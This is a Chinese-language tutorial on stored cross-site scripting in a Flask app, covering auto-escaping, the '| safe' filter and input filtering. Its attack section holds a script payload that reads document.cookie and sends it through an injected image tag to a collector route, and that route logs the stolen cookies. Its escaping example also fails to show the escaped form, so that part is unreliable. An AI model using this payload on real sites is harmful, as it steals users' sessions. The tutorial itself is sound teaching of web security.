跨站脚本攻击:cross site scripting
XSS 原理
XSS为跨站脚本攻击,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。如何构造
1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:
<script>
this.document = "*********";
</script>
2)恶意提交这个表单
3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。防御
需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,
保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>
在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
- 转义 flask会自动转义
{{ r.content | safe }} 这是强制不转义,去掉管道符和 safe 就转义了 - 禁止 document.cookie
攻击:
强制不转义就可以在回复框进行脚本注入攻击:
<div class='reply_content from-leiwei1991'>
<div class="markdown-text">{{ r.content | safe}}</div>
</div>
在回复框输入以下代码,会被当做脚本执行:
<script>alert('majun')</script>
图片.png
图片.png
获取页面 cookie
编写函数
@main.route('/gua')
def gua():
# xss 攻击的后台
cookie = request.args.get('cookie')
log('cookie', cookie)
return 'cookie'
在回复框输入:
<script>
c = document.cookie
tag = `<img src='http://localhost:3000/gua?cookie=${c}' alt='${c}'>`
document.body.insertAdjacentHTML('afterend', tag);
console.log('cookie', c)
console.log('tag', tag)
</script>
即可在控制台输出 cookie(不知道为什么没有);